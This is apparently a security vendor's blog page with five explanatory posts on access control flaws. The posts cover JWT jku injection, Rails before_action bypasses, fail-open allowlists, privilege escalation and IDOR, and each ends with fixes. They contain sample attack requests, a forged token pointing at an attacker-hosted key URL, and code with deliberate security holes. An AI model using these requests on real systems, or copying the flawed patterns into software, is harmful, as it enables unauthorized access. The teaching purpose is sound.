Category: Access Control

Broken access control, authorization, IDOR, and the bugs that come from who can do what.

  • JWT jku Header Injection Explained

    JWT jku Header Injection Explained

    A JSON Web Token carries a header, and that header is allowed to tell the server where to find the key that checks the token. JWT jku header injection is what happens when a server believes that instruction. The attacker signs a token with a private key they generated this morning, points the jku field at a key file they host, and the server dutifully fetches it and confirms the signature is valid. It really is valid. That is the problem.

    What is the jku header supposed to do?

    The jku parameter is a URL that points at a JWK Set, a JSON document listing the public keys an issuer signs with. RFC 7515 defines it so that a verifier which does not already hold the issuer’s key can go and get it. The idea sounds reasonable in a federated world where many issuers rotate keys on their own schedule and nobody wants to redeploy a config file every ninety days.

    A token is three base64url segments joined by dots: header.payload.signature. A header carrying a key location looks like this:

    header
    {
      "alg": "RS256",
      "typ": "JWT",
      "kid": "acme-2026-04",
      "jku": "https://auth.acme.example/.well-known/jwks.json"
    }
    
    payload
    { "sub": "1042", "role": "user", "exp": 1893456000 }

    And the JWKS at that URL holds the matching public key:

    {
      "keys": [
        { "kty": "RSA", "kid": "acme-2026-04", "use": "sig",
          "n": "0vx7agoebGcQSuu...", "e": "AQAB" }
      ]
    }

    Here is the detail everything else follows from. The signature covers the header and the payload. It cannot cover the key, because the key is the thing doing the covering. So jku sits in a segment the attacker can rewrite freely, and rewriting it does not break anything the verifier would notice.

    How JWT jku header injection actually works

    The attack is four steps and needs no cryptographic weakness at all. Picture a fictional app, Acme Notes, whose API gateway reads jku and fetches it.

    • Generate a key pair. The attacker makes their own RSA key pair on a laptop. Nothing about it is secret from them, which is the entire point.
    • Publish the public half. They write a JWKS file containing that public key, give it a kid, and host it at a URL they own.
    • Forge the claims. They take a real token, change "role": "user" to "role": "admin", and set jku to their own URL.
    • Sign it. They sign the forged token with their private key and send it to Acme Notes.

    The gateway decodes the header, reads jku, makes an outbound request, parses the JWKS, matches on kid, and runs the RSA verification. It succeeds, because the token was signed by the private half of exactly that public key. The gateway logs a successful verification from a trusted algorithm and admits an administrator who does not exist.

    attacker sends
    header    { "alg": "RS256", "kid": "evil-1",
                "jku": "https://attacker.example/jwks.json" }
    payload   { "sub": "1", "role": "admin" }
    signature = RSA_sign(header.payload, attacker_private_key)

    Note what did not happen. Nobody broke RS256. Nobody stole Acme’s private key. The algorithm stayed honest the whole way through. Only the answer to “which key” moved, and that answer came from the token.

    Why does a passing signature mean nothing here?

    Because a signature check answers a narrower question than most people read into it. It answers: was this data signed by the holder of the private key matching the public key I was given. It does not answer: is that public key one I should trust. Those are two separate decisions, and only the second one is authentication.

    Verifying a signature against a key the attacker chose is like checking a passport against a stamp the traveller brought with them.

    This is the same shape as SAML signature wrapping, where the cryptography is also flawless and the failure is that the verified thing and the trusted thing are not the same thing. In both cases the audit log looks clean, because from the code’s point of view nothing went wrong.

    The jwk and x5u headers are the same bug in different clothes

    Two sibling header parameters fail the same way, and a fix that only closes jku leaves the door open.

    • jwk embeds the public key directly in the header instead of linking to it. The attacker does not even need to host a file. They paste their own public key into the token and sign with the matching private key. If the verifier uses the embedded key, every token becomes self certifying.
    • x5u points at a URL holding an X.509 certificate or chain. Same fetch, same attacker controlled destination, just wrapped in certificate format. A server that walks the chain without checking it terminates at a certificate authority it actually trusts is in the same position.

    RFC 7515 does say a verifier using jku or x5u must fetch over TLS. That helps nothing here. TLS proves you reached the host named in the URL. The attacker owns that host, so the certificate is genuine and the connection is honest. Transport security cannot rescue a trust decision that was wrong before the request went out.

    How do you prevent this attack?

    The short version: the verifier decides which key to use, never the token. Everything below is a way of enforcing that.

    • Pin the JWKS URL in server configuration. Your service should already know its issuer’s key endpoint, fetch it on its own schedule, and cache the result. There is no reason to read a location out of client input.
    • Reject tokens that carry jku, jwk, or x5u at all. If your design does not use these parameters, their presence is a signal worth alerting on, not a field to ignore quietly.
    • Allowlist exact URLs if you truly need dynamic issuers. Compare the full URL, scheme, host and path, against a short fixed list before any fetch. Host only matching gets defeated by an open redirect or a URL parser disagreement.
    • Validate kid against a known key set. Treat it as an index into a table of keys you already hold, not as a filename or a query fragment. Unknown id means reject, not go looking.
    • Pin the algorithm too. Pass an explicit allow list such as ["RS256"] to the verify call so a swapped alg is refused before any key lookup starts.
    • Test it directly. Send a token with jku pointed at a host you control and see whether an outbound request arrives. That single observation tells you everything.

    Those last two overlap with a related family worth understanding separately. Lying about the algorithm, through alg set to none or an RS256 token replayed as HS256, is covered in our post on JWT algorithm confusion. One bug lies about how the token is checked. The one here lies about what it is checked against. A service can have either, both, or neither, so test them as separate questions.

    The assumption underneath

    Every one of these header parameters exists because a spec author imagined a cooperative issuer supplying helpful metadata. That assumption is invisible in the code. What a reviewer sees is a verify call with a real algorithm and a real signature, and it looks finished. The question nobody writes down is where the key came from and who chose it, which is exactly the kind of assumption an autonomous researcher built to probe an app’s beliefs, rather than replay known payloads, is meant to surface and then prove with evidence. More on that approach on our about page.

    Frequently asked questions

    What is JWT jku header injection?

    It is an attack where a token’s jku header names the URL a server fetches its verification key from. The attacker hosts a JWK Set containing their own public key, signs the token with the matching private key, and the server verifies it successfully against a key the attacker chose.

    Why does the signature check still pass?

    A signature check only proves the data was signed by whoever holds the private key matching the public key supplied to the verifier. It says nothing about whether that public key belongs to a trusted issuer. When the token picks the key, a passing check proves only that the attacker can sign their own tokens.

    How are the jwk and x5u headers related?

    They are the same failure in a different format. The jwk parameter embeds a public key directly in the header, so the attacker does not even need to host a file, and x5u points at a URL holding an X.509 certificate chain. A fix that closes only jku leaves both of these open.

    How do you prevent it?

    Never take key material from the token. Pin the JWKS URL in server configuration and fetch it on your own schedule, reject tokens carrying jku, jwk, or x5u if you do not use them, allowlist exact URLs if you must be dynamic, validate kid against a known key table, and pin the accepted algorithms on the verify call.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • How before_action Authorization Bypasses Happen in Rails

    How before_action Authorization Bypasses Happen in Rails

    In Rails, most apps enforce access control with controller callbacks, and before_action authorization is the pattern where a filter like before_action :require_login or before_action :authorize runs before every action to reject callers who should not be there. It works well until one action quietly runs without the check. This post walks through the four ways that happens, with real controller code, and why a scanner that greps for the check will miss the gap.

    How before_action authorization is meant to work

    A Rails controller can register a method that runs before its actions. A typical setup puts the check in a base controller so every child inherits it:

    class ApplicationController < ActionController::Base
      before_action :require_login
    
      private
    
      def require_login
        redirect_to login_path unless current_user
      end
    end

    Every controller that inherits from ApplicationController now runs require_login before each action. The check exists in one place and covers everything below it. That is the strength of the pattern, and also where the trouble starts. The check is defined once and applied by a chain of rules, so the real question is never “does the check exist” but “does the check run on this exact action”. Those are different questions, and the gap between them is invisible if you only look for the method.

    Bypass one: a skip that removes too much

    Rails lets a controller opt out of an inherited filter with skip_before_action. That is a legitimate feature. A public pages controller genuinely should not force a login. The bug is when the skip is broader than intended.

    class ReportsController < ApplicationController
      skip_before_action :require_login
    
      def public_summary
        # meant to be public, fine
      end
    
      def export
        # sensitive, was NEVER meant to be public
        send_data current_account.full_export
      end
    end

    The developer wanted public_summary open to anyone. They wrote skip_before_action :require_login with no scope, so it stripped the login check from every action in the controller, including export. Now an anonymous request to /reports/export runs with no session. The check still exists in ApplicationController. A text search for require_login finds it and reports the app as protected. The one place it does not run is the one place that matters.

    Bypass two: only and except that fall out of date

    Callbacks can be scoped to a list of actions with only: or except:. This is where drift creeps in. A filter written months ago names the actions that existed then, and a new action added later is simply not on the list.

    class InvoicesController < ApplicationController
      before_action :require_admin, only: [:edit, :update, :destroy]
    
      def edit;    end
      def update;  end
      def destroy; end
    
      # added in a later PR
      def approve
        Invoice.find(params[:id]).approve!
      end
    end

    The admin check guards edit, update, and destroy. Someone later added approve, which changes real state, but never added :approve to the only: list. So approve runs the inherited require_login but never require_admin. Any logged in user, not just an admin, can approve an invoice. The same trap works in reverse with except:. A new action that should have been excluded is not, or one that should have been covered slips through because the list was written as a blocklist and a case was forgotten.

    The check is not missing from the codebase. It is missing from one action’s effective callback chain, and that chain is assembled from inherited filters, skips, and only or except scopes that no single line of code shows you.

    Bypass three: a child controller that resets the chain

    Inheritance is the third source. A child controller can override the parent method or reset the whole filter chain, and the override wins. Consider an API base class that swaps session login for token auth:

    class Api::BaseController < ApplicationController
      skip_before_action :require_login
      before_action :require_token
    
      def require_token
        head :unauthorized unless valid_token?(request.headers["X-Api-Key"])
      end
    end
    
    class Api::WebhooksController < Api::BaseController
      skip_before_action :require_token, only: [:receive]
    
      def receive
        Order.create!(webhook_params)
      end
    end

    The API base is fine on its own. The webhooks controller then skips require_token for receive, maybe because a third party signs its payloads a different way and the team meant to verify the signature instead. If that signature check was never added, receive now runs with no auth at all. The parent chain was reset for this one action on purpose, and the replacement never arrived. Reading Api::BaseController alone tells you the API is protected. It is the child that opened the hole.

    Bypass four: callback ordering

    Callbacks run in the order they are declared. If the filter that loads the current user runs after the filter that checks permissions, the permission check reads a user that is not set yet.

    class DashboardController < ApplicationController
      before_action :authorize_manager
      before_action :set_current_membership
    
      def authorize_manager
        head :forbidden unless @membership&.manager?
      end
    
      def set_current_membership
        @membership = current_user.memberships.find_by(org_id: params[:org_id])
      end
    end

    Here authorize_manager runs first, when @membership is still nil. The safe navigation @membership&.manager? returns nil, so the guard does not halt, and the action proceeds. Swapping the two lines fixes it, but nothing about either method looks wrong in isolation. The bug lives entirely in the order. Both filters are present, both are correct, and the app is still open.

    Why before_action authorization gaps hide from text scanners

    Every example above shares one trait. The check is written somewhere in the code. A tool that pattern matches on require_login, require_admin, or authorize finds the string and moves on. The problem is never the string. It is the effective callback chain for one specific action, and Rails builds that chain from four things at once:

    • Inherited filters from every parent controller up to ActionController::Base, and any filters mixed in through modules.
    • Skips that remove an inherited filter, scoped or unscoped.
    • only and except scopes that decide whether a filter applies to this action at all.
    • Declaration order, which fixes what runs before what.

    To see the gap you have to model that chain per action, the way Rails itself resolves it, then attach the result only to the actions that are actually routed and reachable from outside. That is a structural read of the code, not a search over its text. UnboundCompute parses these controller callbacks structurally, following inherited and mixed in chains, before, around, and after ordering, action scopes, and skips, then reasons about which action really runs a given check. The same idea drives the open code property graph that parses controller callback chains, lachesis.

    This is a close cousin of broken function level authorization and belongs under the same access control umbrella, since the root cause is an action that runs without the check its neighbors get. If you want the wider picture of the class, see what is an access control vulnerability. Finding a per action gap means understanding how the app is meant to enforce access and then checking each reachable action against that intent, which is exactly the kind of assumption an autonomous researcher is built to test; you can read more on our about page.

    Frequently asked questions

    What causes a before_action authorization bypass in Rails?

    It happens when an action ends up with no auth check even though the check exists in the code. The four common causes are a skip_before_action that removes too much, an only: or except: list that a new action was left off, a child controller that resets or overrides the parent chain, and callback order that runs the permission check before the user is loaded.

    How does skip_before_action remove authorization by accident?

    When you call skip_before_action :require_login with no only: or except: scope, it drops that filter from every action in the controller, not just the one you meant to open. A public action gets its skip, and a sensitive action in the same controller silently loses the login check too. The safe form names the exact actions, such as skip_before_action :require_login, only: [:public_summary].

    Why do text scanners miss these bypasses?

    A scanner greps for the check by name, finds require_login or require_admin in the source, and marks the app as protected. The bug is never the missing string. It is the effective callback chain for one action, which Rails builds from inherited filters, skips, only and except scopes, and declaration order. You have to model that chain per action to see which action actually runs the check.

    How do I prevent before_action authorization gaps?

    Scope every skip to named actions, keep only: and except: lists in sync when you add an action, declare the filter that sets the current user before any filter that checks permissions, and verify child controllers do not reset the parent chain without replacing it. Then test each reachable action as a low privilege user and confirm you get a 403 where you expect one.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • Fail Open Access Control and the Empty Allowlist

    Fail Open Access Control and the Empty Allowlist

    A fail open access control bug happens when a permission check exists but defaults to allow when something is missing, empty, or unexpected. The code looks careful. There is a guard, an allowlist, a role lookup. But when the input the guard depends on is empty or absent, the guard quietly steps aside and lets everything through. This is the opposite of what you want, and it hides in code that reads as correct.

    What fail open access control actually means

    Every access check is a choice between two failure modes. When the check cannot make a clean decision, it either fails closed and denies, or it fails open and allows. Fail closed is safe by default. Fail open is convenient by default. The trouble is that a lot of code fails open by accident, because an empty value or a missing key happens to route past the block that was supposed to stop it.

    Here is the shape you see most. An app builds a list of allowed items, then checks membership against it.

    def can_view(item, allowed):
        if allowed and item not in allowed:
            deny()
        return serve(item)

    Read the guard closely. It only denies when allowed is truthy and the item is not in it. So what happens when allowed is an empty list, or None? The first half of the condition is false, the whole condition is false, and deny() never runs. An empty allowlist stops restricting anything. It permits every item instead of none. The author almost certainly meant “empty means block everything,” but the code says “empty means skip the check.”

    The empty allowlist, in plain terms

    Imagine an invented app, Acme Reports, where a manager configures which report types a team can open. The config feeds an allowlist. On a normal day it holds three entries, and the guard above works fine. Then a migration runs, a lookup returns nothing, or a new team is created with no reports assigned yet. Now allowed is []. A user on that team requests a payroll report.

    GET /reports/payroll
    allowed = []   # resolved from empty config

    The guard sees an empty list, treats it as “no restriction,” and serves the payroll report to someone who should see nothing. The bug did not come from a typo. It came from treating “the set of allowed things is empty” as the same as “there is no rule here.” Those two ideas are opposites, and the code collapsed them into one.

    An empty allowlist should mean deny everything, but code that reads it as “no rule set” makes it mean allow everything.

    Two more shapes worth knowing

    The empty allowlist is the headline, but fail open wears other clothes. A role check that returns true on an unexpected value is one.

    def is_allowed(role):
        if role == "guest":
            return False
        return True   # anything not "guest" passes

    This looks like it blocks guests and allows the rest. But think about what happens when role is None because the profile never loaded, or a new role like "contractor" that nobody wrote a rule for. It is not "guest", so it returns true. Any value the author did not think about becomes allow. A safer version names the roles that pass and denies everything else.

    The third shape is a try block that swallows the failure and keeps going.

    try:
        check_permission(user, resource)
    except Exception:
        pass   # swallowed
    serve(resource)

    If check_permission raises, maybe the auth service timed out, maybe a key was missing, the except eats the error and the code walks straight to serve. An error inside the gate became an open gate. The user gets the resource precisely because the check broke. The fix is to let the failure deny: on any error, stop and return a 403.

    Why a scanner walks right past fail open access control

    Here is the part that makes these bugs stubborn. There is no bad pattern to match. The syntax is clean. There is no eval, no raw SQL string, no dangerous function name, no obvious injection sink. A signature based scanner looks for known bad shapes in the text, and if allowed and item not in allowed is not a known bad shape. It is ordinary, readable code. A grep for risky calls finds nothing. A linter sees a normal conditional. The guard is present, so a tool that checks “is there an authorization call here” answers yes and moves on.

    The bug is not in any single line. It lives in what allowed resolves to at run time. To catch it you have to follow the value, not the words. You have to ask: can allowed ever be empty or None when it reaches this guard, and if it can, what does the guard do then? That is a dataflow question over the source, tracing where the list comes from, whether any path produces an empty one, and where that empty value lands.

    An analyzer that follows values instead of text can flag this. It can see that an explicitly empty allowlist reaches a membership guard that only denies on a non empty list, and that this selects the full set rather than the empty set. That is a candidate, not a verdict. It still needs a human to confirm the empty state is reachable and that “allow everything” is the real effect. But it points you at the exact spot a text scanner slid past.

    A short checklist of where to look

    • Membership guards. Any if allowlist and x not in allowlist. Ask what an empty or None list does. If empty skips the deny, it fails open.
    • Role and flag checks that end in a default true. A final return True or an else: allow means every value you forgot about is permitted.
    • try blocks around auth. A check wrapped in try with an except that passes, logs, or continues. An error should deny, not proceed.
    • Config or lookups that can return empty. Allowlists built from a database, a feature flag, or an external service. Any of them can hand you an empty set on a bad day.
    • Optional values used as gates. A permission read from a nullable field, where missing is treated as “no restriction” instead of “no access.”

    The habit that catches all five is the same one that finds most access control bugs: ask what the code trusts and what happens when that thing is empty. If you want the wider picture, the access control category collects related writing. Fail open is close kin to the missing check in what an access control vulnerability is, and it often sits right beside broken function level authorization where a whole function forgets its gate.

    Fix it by failing closed

    The repair is a design decision, not a patch. Decide that every gate denies when it cannot make a clean allow. Make empty mean deny. Name the values that pass and reject the rest. Let auth errors stop the request. Going back to Acme Reports, the guard should read: if I do not have a positive, explicit reason to allow this exact item for this exact user, I deny. Then an empty allowlist blocks everything, which is what the manager meant all along.

    This is exactly the kind of bug an autonomous researcher that follows values rather than patterns is built to surface, because the danger is not in a line of code but in what that line resolves to when the data goes empty. Learn more on the about page.

    Frequently asked questions

    What is fail open access control?

    It is when a permission check exists but defaults to allow instead of deny when its input is missing, empty, or unexpected. The guard is present in the code, so it looks correct, but an empty allowlist or a null role routes past the block and lets the request through. Fail closed is the safe opposite: when the check cannot make a clean allow, it denies.

    Why does an empty allowlist permit everything?

    A common guard reads if allowed and item not in allowed: deny. When allowed is an empty list or None, the first half of the condition is false, so the whole condition is false and the deny never runs. The code treats an empty allowlist as “no rule set” rather than “block everything,” which are opposite meanings. The result is that every item is served.

    Why do scanners miss fail open access control?

    Because there is no bad pattern to match. The syntax is clean, the authorization call is present, and there is no injection sink or dangerous function name. A signature scanner checks whether a guard exists and moves on. The bug lives in what the allowlist resolves to at run time, so you have to follow the value through the code, not search the text.

    How do I fix a fail open check?

    Fail closed by design. Make empty mean deny, not skip. Name the roles or items that are allowed and reject everything else instead of ending in a default true. Let auth errors stop the request with a 403 rather than swallowing the exception and continuing. The rule is simple: if there is no explicit reason to allow, deny.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • Privilege Escalation Examples: Five Ways an Ordinary Account Becomes an Admin

    Privilege Escalation Examples: Five Ways an Ordinary Account Becomes an Admin

    Privilege escalation is what happens when an account ends up able to do something its permission level was never meant to allow. In web applications it is rarely one dramatic exploit. It is usually a small gap in how permission is assigned, cached, or trusted, reached by a request that looks entirely ordinary. These privilege escalation examples come from an invented workspace app, each with the request that causes it and the reason the check failed.

    Horizontal and vertical escalation

    Two directions are worth naming before the examples. Horizontal escalation means acting as a different account at the same level, such as one member reading another member’s records. Vertical escalation means gaining a higher level, such as a member becoming an administrator. They matter separately because a chain often runs horizontally first and then vertically: take over any account, discover that one of those accounts is an admin, and the second step is free.

    Five privilege escalation examples

    Acme Notes is an invented team workspace with members, administrators, and a support tool. Every request below is authenticated and well formed.

    1. Promoting yourself through a profile update

    The profile endpoint saves whatever fields arrive, because it was written to be flexible about which ones the form sends.

    PATCH /api/users/me
    Authorization: Bearer tokenForMember
    { "display_name": "Sam", "role": "admin" }
    
    200 OK
    { "id": 12, "display_name": "Sam", "role": "admin" }

    The endpoint is the caller’s own record, so an ownership check passes. What is missing is a rule about which attributes a caller may write to their own record. Permission fields must be server decided, and a handler that binds a whole request body to a model will not know the difference.

    2. Choosing your role when accepting an invite

    An invitation is emailed with a token, and the acceptance endpoint reads the role from the request rather than from the invitation record.

    POST /api/invites/accept
    { "token": "inv_9f3c...", "role": "owner" }
    
    201 Created
    { "workspace_id": 7, "user_id": 4310, "role": "owner" }

    The invitation said member. The server never compared the two, so the invited person picks their own level. The same pattern shows up wherever a value that was decided earlier is resent by the client later, including plan tiers, seat counts, and approval states.

    Most escalation bugs are not a broken permission check. They are a permission that the server let the client supply in the first place.

    3. Escalating by taking over a higher privileged account

    The email change endpoint updates the address immediately and sends a verification link afterwards, and password reset uses the current address on file.

    PATCH /api/users/88/email
    Authorization: Bearer tokenForMember
    { "email": "attacker@example.com" }
    
    200 OK
    { "id": 88, "email": "attacker@example.com", "verified": false }

    Two failures compound here. The endpoint took an id from the path without checking it belongs to the caller, and the account switched to an unverified address that password reset still trusts. Neither is an escalation on its own. Together they turn any member into whichever account they choose, and account 88 happens to be an administrator.

    4. Permissions that outlive the change

    An administrator is demoted to member. Their existing token still carries the old claims, and the service reads role from the token rather than from the database.

    GET /api/admin/users
    Authorization: Bearer tokenIssuedBeforeDemotion
    
    200 OK
    { "users": [ ... ] }

    The permission model is correct and the enforcement is stale. Any place that caches authorization, such as long lived tokens, a session copy of the role, or a permissions list computed at login, keeps granting access after the decision behind it changed. Offboarding is where this hurts most.

    5. A support tool with no separate guard

    Support staff can view an account as its owner to reproduce issues. The impersonation endpoint checks that the caller is signed in and assumes only staff can reach it, because only staff see the button.

    POST /api/support/impersonate
    Authorization: Bearer tokenForMember
    { "user_id": 88 }
    
    200 OK
    { "session": "eyJ...sessionAsUser88" }

    Internal features are frequently built with lighter checks than customer facing ones, on the assumption that only internal people will call them. Impersonation, feature flag toggles, data export, and replay tools are worth reviewing first, because each one converts a normal account directly into another account.

    How to test for privilege escalation

    • Hold accounts at every level. Two members, one admin, and, if the product has them, one support account. Escalation testing is comparison testing and needs something to compare.
    • Replay privileged traffic downward. Record what the admin account does, then send exactly those requests with a member token. Anything that does not return a denial is a finding.
    • Add permission fields to bodies that do not document them. role, is_admin, plan, scopes, owner_id, and workspace_id are the usual candidates.
    • Change permissions and keep using the old session. Demote an account, then reuse its token. Revoke a seat, then call the API again. This catches the stale authorization class that point in time testing misses.
    • Look for the second step. An account takeover is only medium severity until you check whether any reachable account is privileged. Chains are where the real impact sits.

    None of these are found by matching a payload, because there is no payload. They are found by knowing which accounts exist, what each is meant to be able to do, and then checking whether the server agrees. More on access control bugs is here.

    How to prevent it

    • Allowlist writable fields per endpoint, so permission attributes cannot be set by a request even if they appear in one.
    • Read authority from the record, not the request. The invitation stores the role, so acceptance should use the stored value and ignore anything sent alongside the token.
    • Check authorization at the moment of use. If you must cache it, keep token lifetimes short and give yourself a way to revoke immediately.
    • Verify an email before it becomes the account’s identity, and invalidate active sessions and reset tokens whenever the address or password changes.
    • Guard internal tools like external ones. Impersonation deserves its own permission, an audit record, and ideally a second factor.
    • Deny by default, so a new route is unreachable until someone declares who may call it.

    Privilege escalation tends to be assembled rather than discovered: a writable field here, a stale token there, an id that was never checked, combined into a path from ordinary member to full control. Following that chain requires understanding how an application’s roles are meant to fit together, which is exactly what an autonomous researcher that reasons about application logic is built to do. Read more about how UnboundCompute works.

    Frequently asked questions

    What is an example of privilege escalation in a web application?

    The most common one is a writable permission field. A member sends PATCH /api/users/me with { "display_name": "Sam", "role": "admin" }, the handler binds the whole body to the user model, and the account is now an administrator. The ownership check passed, because the record really does belong to the caller. What was missing is a rule about which attributes a caller may write to their own record.

    What is the difference between horizontal and vertical privilege escalation?

    Horizontal means acting as another account at the same permission level, such as one member reading or editing another member’s records. Vertical means gaining a higher level, such as a member reaching administrator functions. Real incidents usually chain them: an attacker moves horizontally into any account they like, then checks whether one of those accounts is privileged, which makes the vertical step free.

    Can privilege escalation happen even when permissions are configured correctly?

    Yes, and stale authorization is the usual reason. If a service reads the role from a long lived token or from a copy stored in the session, an account that was demoted keeps its old access until that token expires. The permission model is right and the enforcement is out of date. This is why offboarding tests matter: change a permission, then keep using the session that was issued before the change.

    How do I test my application for privilege escalation?

    Hold accounts at every level, then compare. Record the requests an admin account makes and replay them with a member token, and treat anything other than a denial as a finding. Add fields such as role, is_admin, and scopes to bodies that do not document them. Demote an account and reuse its old token. Finally check whether any account you can take over is itself privileged, because that is where a medium severity bug becomes a critical one.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • Broken Access Control Examples: Five Requests That Should Have Been Denied

    Broken Access Control Examples: Five Requests That Should Have Been Denied

    Access control is the rule that decides who may do what to which object, and it is the rule applications get wrong most often. The bug is rarely exotic. It is almost always a check that someone assumed was happening somewhere else. This post walks through five broken access control examples in an invented app, shows the exact request and response for each, and explains how to find and fix the same gaps in your own code.

    Five broken access control examples

    All five come from the same invented app, Acme Notes, a small team workspace where people write notes, invite colleagues, and export their data. Every request below is well formed and authenticated. Nothing is malformed and nothing is injected. That is the point: these requests are legal, and the server answers them anyway.

    1. Reading another user’s object by changing an id

    User A is signed in and opens one of their own notes.

    GET /api/notes/4120
    Authorization: Bearer tokenForUserA
    
    200 OK
    { "id": 4120, "owner_id": 12, "title": "Q3 planning", "body": "..." }

    They change one digit and send the same token.

    GET /api/notes/4121
    Authorization: Bearer tokenForUserA
    
    200 OK
    { "id": 4121, "owner_id": 88, "title": "Salary review notes", "body": "..." }

    Note 4121 belongs to owner 88. The token proved who the caller is. Nothing proved the caller owns this note. This is the horizontal case, one user reaching another user’s data at the same permission level.

    2. Calling an admin route directly

    The Acme Notes interface only draws the admin panel for accounts with the admin role, so a normal member never sees a link to it. The endpoint behind it is still live.

    GET /api/admin/users?limit=500
    Authorization: Bearer tokenForUserA
    
    200 OK
    { "users": [ { "id": 12, "email": "a@example.com", "role": "member" }, ... ] }

    This is the vertical case. The route checks that you are logged in and forgets to check what you are. Hiding the button removed the path a normal user would take to the endpoint, not the endpoint. Anyone who has watched the network tab of an admin account, or guessed the route, can call it.

    3. Sending your own role in the request body

    Acme Notes lets a workspace owner invite colleagues, and the invite endpoint accepts a role. The signup endpoint accepts the same object shape, because both write to the users table through one shared handler.

    POST /api/signup
    Content-Type: application/json
    
    { "email": "new@example.com", "password": "...", "role": "admin" }
    
    201 Created
    { "id": 4310, "email": "new@example.com", "role": "admin" }

    The server took a field from the client that only the server should ever set. No id was tampered with and no route was hidden. The app simply trusted an attribute that decides permission, which turns the account creation form into a promotion.

    Every one of these requests is valid. The bug is not in what was sent, it is in the check the server did not run before answering.

    4. A secondary path with no check on it

    The direct fetch in example 1 gets fixed, and the team adds an ownership check to GET /api/notes/:id. The export job still runs the old query.

    POST /api/exports
    Authorization: Bearer tokenForUserA
    { "workspace_id": 7 }
    
    200 OK
    { "job_id": "exp_91", "status": "queued" }
    
    GET /api/exports/exp_91/download
    Authorization: Bearer tokenForUserA
    
    200 OK
    notes.csv containing every note in workspace 7, including notes owned by other members

    The background worker runs with service credentials so it can read across the whole workspace, and the request that started it was never checked against what user A is allowed to export. Search endpoints, list endpoints, report builders, and file downloads all fail this way. The check on the obvious route does not travel to the quiet ones.

    5. Enforcement that lives in the browser

    A member’s plan allows five notes. The interface disables the create button after the fifth, and the server never counts.

    POST /api/notes
    Authorization: Bearer tokenForUserA
    { "title": "Note 41", "body": "..." }
    
    201 Created

    Any rule enforced only by the interface is a suggestion. The same applies to fields the form marks as read only, to prices the client sends, and to steps a wizard performs in order. If the browser is the only thing enforcing it, a request sent outside the browser ignores it.

    How to find these in your own app

    Every example above is found the same way, by holding two accounts and asking whether one can reach the other’s things.

    • Create two users and one admin. Note the object ids each one owns. Most of this testing is impossible with a single account.
    • Swap ids across accounts. With A’s token, request B’s objects. A correct server answers 403 Forbidden or 404 Not Found. A 200 OK carrying B’s data is the finding.
    • Replay privileged routes with a normal token. Capture what an admin account calls, then send the same requests as a member.
    • Add fields the client should not control. Try role, is_admin, plan, owner_id, and workspace_id in bodies that do not document them.
    • Follow the object into every other path. Search, list, export, download, webhook, and email notification. Each is a separate chance to leak the same record.
    • Repeat per verb. Read access and write access fail independently, so test GET, then PATCH, PUT, and DELETE.

    None of this is pattern matching. There is no payload to detect, because the request is exactly what a normal client sends. Finding these bugs means understanding what each object is and who is meant to own it, then testing that assumption directly. More on access control bugs is here.

    How to fix them

    The common cure is to make the ownership question part of the query rather than a separate step someone can forget.

    def get_note(note_id, current_user):
        note = db.notes.find_one(
            id=note_id,
            owner_id=current_user.id,   # ownership is part of the lookup
        )
        if note is None:
            return Response(status=404)
        return Response(note)
    • Scope every query to the caller by default in the data layer, so an unscoped lookup has to be written on purpose.
    • Deny by default on routes. A new endpoint should be unreachable until someone states who may call it, rather than open until someone remembers to close it.
    • Allowlist writable fields so a client can never set an attribute that grants permission.
    • Give background jobs the caller’s permissions instead of service credentials, or check the request before the job is queued.
    • Write one test per object route where user A asks for user B’s object and asserts a denial. That is what stops the bug returning after a refactor.

    Broken access control is a logic bug, not a string in a payload, which is why it survives tools that look for known bad input and why it keeps topping the lists of what actually gets exploited. Finding it means knowing what an object is, who should own it, and proving the server agrees, which is exactly the kind of assumption an autonomous researcher that tests application logic is built to check. Read more about how UnboundCompute works.

    Frequently asked questions

    What is an example of broken access control?

    The clearest example is changing an id in a request. A signed in user calls GET /api/notes/4120 for their own note, changes it to GET /api/notes/4121 with the same token, and the server returns a note owned by someone else. The token proved who the caller is, and nothing proved the caller owns that object. Other common examples are calling an admin route with a normal account, sending a role field the server should set itself, and an export job that reads across a whole workspace.

    What is the difference between horizontal and vertical access control bugs?

    Horizontal means reaching another user’s data at the same permission level, such as one member reading another member’s note. Vertical means gaining a higher permission level, such as a member calling an admin only endpoint or setting their own role to admin during signup. They are found differently: horizontal needs two accounts of the same type, vertical needs a low privilege account replaying what a privileged account does.

    Why do scanners miss broken access control?

    Because there is no payload to match. The request is exactly what a normal client sends, every field has the right type, and the session is valid. A scanner comparing traffic against a list of known bad strings sees nothing wrong, because nothing is wrong with the string. Deciding that a response is a bug requires knowing who is meant to own the object, which lives in the intent of the application rather than in its code.

    How do I test my app for broken access control?

    Create two normal users and one admin, then note which objects belong to each. While signed in as user A, request user B’s objects and confirm the answer is 403 Forbidden or 404 Not Found. Replay every request an admin makes using a member token. Add fields such as role, is_admin, and owner_id to bodies that do not document them. Then repeat the whole exercise on search, list, export, and download paths, which are checked far less often than the direct fetch.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

